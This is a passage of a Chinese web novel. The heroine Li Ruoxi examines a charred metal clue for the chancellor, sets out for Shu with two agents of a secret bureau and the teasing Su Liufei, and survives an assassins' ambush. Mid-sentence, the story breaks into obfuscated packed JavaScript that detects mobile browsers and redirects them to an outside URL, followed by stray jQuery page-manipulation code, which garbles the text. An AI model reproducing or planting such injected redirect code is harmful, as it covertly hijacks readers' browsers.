“你找她吗?姐姐认识这个人,帮你想想她在哪哈——”璃若汐挤出一个柔和微笑,准备开溜。
“啪”的一声,死神扣住她肩膀。
“走!”
她尝试挣脱,但少女力气大得诡异,她用尽全力也无法掰开少女的手半分,无奈被死神一路拽回宰相府里。
刚一进府,就有个身佩玄狱司令牌、五官秀丽一股天真气息的少年跑了过来,一连串失礼了失礼了,讨好看向仍紧扣她肩膀的少女:“青大美女,我来我来,别累着您了。”
璃若汐微微挑眉,这才发现少女腰侧也挂着块深紫色玄狱司令牌。正面雕刻三朵带血兰花,是长老以下的最高级别司使。长老位置自上一任葛老去世后一直留空,司使们便成为玄狱司实际上的掌权人。
那少年带璃若汐往里走去,有意和少女保持一段距离,小声解释:“我姓杨,我们是玄狱司的人。这些日子总破不了案,宰相动怒,刑部不得已到处搜刮线索。这不有人举荐姑娘,我们就马不停蹄地请来了,见谅见谅。”
还没靠近门口,一个头上带血的人从主厅连滚带爬往外逃去,脚步不稳,里面传来东西摔碎的声音。
“一群废物!”是陈相。
他颤抖指着跪在脚下的两名官员,白色胡须气得微微飘起。
杨司使上前半步,拱手行礼:“大人,那名女子我们带到了。”
陈相闻声摆摆手,跪在地上的人慌忙起身退下。
“我听说,你很擅长探案?”白发老人凌厉目光从上至下扫了璃若汐一遍,皱眉道。
“大人谬赞,在下并无断案之才。”她低眉道。
“不必过谦,大理寺的人都推荐你。看看这个。”陈相没有理会她的推脱,命杨司使递给她个石匣。
她明白过来:宰相府失窃案刑部都查不出,是个掉脑袋的烫手山芋。她平日显现出的一点智慧,加之没什么后台,让她成为不二人选。
可是——这么大的事,宰相便放心交给她这个无名小卒?大理寺踢皮球,陈相不该看不出来。
莫非是她想多了?
“......是。”
石匣本身用料普通、工艺欠佳,没有什么特别的。但里面装着小半截烧焦了的形状怪异的东西。像是蛇尾,又似鹰爪;通身黑灰,透着几分暗紫色,已被烧得碎屑满面。
璃若汐接过银夹子小心挑起那东西抖了抖,碎屑竟一点也不落下。又凑近闻了闻,闭眼思索片刻,要来一碗醋水。争得许可后,用小刀割下一小片碎屑丢进碗里,洗净,仔细观察了一番——
外层被烧焦,里层却完好无损,也未被腐蚀。纹路繁复难懂,透着一股苍劲儿,和京都优雅做作的审美相去甚远。
“陈大人,请问大烨国内可有塞外冶金大家?”她终于抬头。
老人沉吟了一会,“很少。西南蜀地有部分村落还残留此技术,关外也曾有炼器名家,只是早已式微。”
“大人可曾查到些什么?”
“那群废物,在柴房里发现这个后就断了线索。这种东西非皇家所制,外面也无人售卖,和京中的工匠都不匹配。”
璃若汐微微一笑,“当然不会是京都工匠所制。”
“哦?你有何见解?”老人看她模样自信,有些疑惑。
“关外和大烨近年来交战不停,道路阻塞,炼器大家渐以枪剑为主,兵器里龙凤为尊。唯有蜀地以鹰蛇虫兽为贵,且常年阴湿潮冷,需要特殊的养护技术。”她指指剥开的表层,里面透着完好的银灰色金属。
“你们觉得,这东西出自蜀地?”陈相摸摸胡子,皱眉道。蜀地与京都甚远,查起案来费时费力。
“是。但这东西像是刻意被留下,有可能是嫁祸。”杨司使提醒道,声音清越。
“嫁祸就嫁祸吧,那也得看看是谁拿过来的。刑部这么久也没查到别的线索。”陈相站起身来,向屋外走去。“这样,你们和她再带上些人,过几天就出发去蜀地。”
背着刀的少女原叫青也,是玄狱司三大司使之一——另外两个分别是杨伍笛和柳钚堪,分别擅长机关术和毒术,青也则凭一身独特刀法在玄狱司武力排行前三。
杨伍笛和青也从小一起长大,或者说单方面被青也揍大。两人一个嘴碎一个没什么话,常常都是杨伍笛在自说自话。
柳钚堪在协助皇上查案抽不开身,璃若汐此行便是随青杨二人一起,同行的还有几名婢女,一众侍卫。
玄狱司直属皇帝,对于案件的权限比大理寺级别高。和他们打好交道更利于寻找身世,抓紧时间替原身复仇,回现代,花钱!
来到塞外,和京城相隔十万八千里,也不用担心白衣恶魔在血殊冥丝药效结束后找上门来。
想到周围有一身正气的人护着自己查案,璃若汐稍微松了口气。
三日后,清晨。
“你怎么在这里?!”她看见悠悠坐在马车顶上一身白衣、嗑着瓜子的苏流斐,整个人都不好了。
“我为何不能来?是陈大人下令的哦。”苏流斐勾唇一笑,“在下担心姑娘安危,特地赶来保护呢。”
“怎么,你们认识?”杨伍笛见状乐呵呵凑过来,打量二人。
“何止认识。”璃若汐皮笑肉不笑。
“你们......闹过什么矛盾吗?”他见白衣人单腿盘坐一脸惬意,身旁女子面上的表情却十分精彩,感到有些奇怪,上看看下看看。
“少多管闲事。”
一根银鞭破空甩来,杨伍笛连忙躲开,衣袍还是被划破一角。
“你也太不给面——诶诶诶,我错了我错了。”他闭上嘴,嘿嘿一声抱头窜进马车。
一路上璃若汐和杨伍笛坐在车内,少女骑马走在前面,苏流斐则半躺在马车顶上。
昨晚积雪已被清理干净,马车走得很平稳。傍晚时一行人已到达一片郁郁葱葱的常青树林,溪水尚未结冰,放眼望去没有人烟。
苏流斐居然没作妖。
“停车。”少女一声喝下,杨伍笛从不知什么角落翻出来一堆东西——钓鱼杆、生火石、干粮、调料,一应俱全。
苏流斐没理会他们,足尖轻点,落至小溪旁边。然后,单掌向下一压——
“哗啦”一声,溪水径直分成两侧,中间空出段干涸空地,几条肥鱼正吧唧吧唧地上下蹦跶。
杨伍笛刚生好火、扛着钓鱼竿走来,见状整个人呆住了。
“你你你......这是怎么做到的?!”
苏流斐轻笑不语,一抬手三五条鱼嗖地离地而起砸向火堆,精准落地,溪水应声闭合。
对面人还呆呆扛着鱼竿没回过神,苏流斐已单腿盘坐,兀自烤起鱼来。
他好像很会烤鱼。
漆黑夜色,一簇篝火骤然亮起,噼啪作响。
涂好酱料后适时翻转,外皮焦香脆黄、肉质紧实,不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17410346|200662||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时有几滴油落下。炭香裹着烤鱼的香气扑面而来,几分钟不到就把四条半臂长肥鱼在竹签上一一串好。
“自己挑吧。”他唇角微弯,将四串烤鱼并排摆好。
一口咬下,咔嚓一声脆裂,外皮酥脆流油,鱼肉鲜嫩无比。
“真好吃!这是我吃过最美味的烤鱼!”杨伍笛毫不客气拿起一条鱼,咬了一口后满脸喜色。“但是大侠,你还没告诉我们你叫什么呢。”
“在下苏白,一介布衣,不足挂齿。”苏流斐神色温和地答道。
青也拿起烤鱼的手顿了顿,面无表情送入口里。
璃若汐这边的情况就不一样了。她第三个挑起鱼,明明闻着很香,一口下去却味同嚼蜡,丝毫尝不出味道来。
“璃姑娘,可是有什么问题?”苏流斐一脸笑意地看向她。
“......别太过分。”
“怎敢。”白衣人勾唇一笑,慢条斯理抿了口茶。
正烤着火,青也忽然神色一凛:“谁!”说话时刀已出鞘。
几人同时朝林子深处望去,只见四面八方突然窜出数十名黑衣蒙面人,提剑直逼青杨二人而去。
“铿——”
“扑哧——”
少女刹时出手,以刀硬震开靠得最近的黑衣人,同时一刀砍断迫近杨伍笛的黑衣人脑袋,血溅当场,一颗人头就这么飞了出去。杨伍笛吓了一跳,往草丛仓促躲去,掏出袖箭,百发百中。
璃若汐本在欣赏少女刀刀致命的身法,正看得投入,一股强力忽从背后将她猛地推出,围住少女进攻的几个黑衣人也中邪了般一齐转向,她就这么和他们当面撞上。
“敢作弄我们,拿命来!”刺客们被莫名打断本就不耐烦,迎面撞上个看着就不会武功的女子,拔剑便要拿她出气。
璃若汐情急之下本能使出招轨迹极为怪异的剑法——既有这具身体的本能反应,又杂糅了她在现代学的格挡术,竟堪堪抗下几招。
“砰——”只是她内力实在太差,打了没几下便被震飞,肩上也中了一剑。
“小心!”青也刚杀掉两名难缠刺客,转身迅速朝她飞来。可似乎有什么屏障隔着二人,无论青也如何发力亦无法越过。
眼见黑衣人前后夹击、就要一剑刺穿自己,她忙朝闲坐着吃水果的苏流斐大喝一声:“他也是玄狱司的,职位更高!”
黑衣人头目一愣,看苏流斐虽身无令牌但神色淡定,不像布衣倒像青杨二人的主子,一声哨令便携众人朝他攻去。
冲在最前面的是三名黑衣剑客。速度极快,剑未到,暗器先行,“嗖”地一声直逼苏流斐上下盘。
“啧,这般无礼。”苏流斐轻退一步,随手打落暗器,瞬间移到三人身后,手不知何时搭上二人脖颈,没用力便扭断他们脖子。剩下一人惊诧间转身,却被他用两指夹住剑,微用力夺过,调转方向后一剑穿心。
呼吸间,另外八人也被苏流斐一套行云流水的诡谲身法毙命了五个,只剩下三名腿部各中一剑的黑衣人喘着粗气,恐惧又饱含怒意地盯着他。
苏流斐略带嫌弃地瞥了眼沾血衣袖,一挥袍席地而坐,闭目养神。幸存的刺客们见他停止杀戮,相互确认眼神后一同朝青也逼去。
璃若汐此时已运轻功步伐不稳地从打斗圈退开,一回头,白衣人正捂着肩,似笑非笑看着她。
她这才发现伤口并无痛觉,原来果真转移给他了。但那股强力……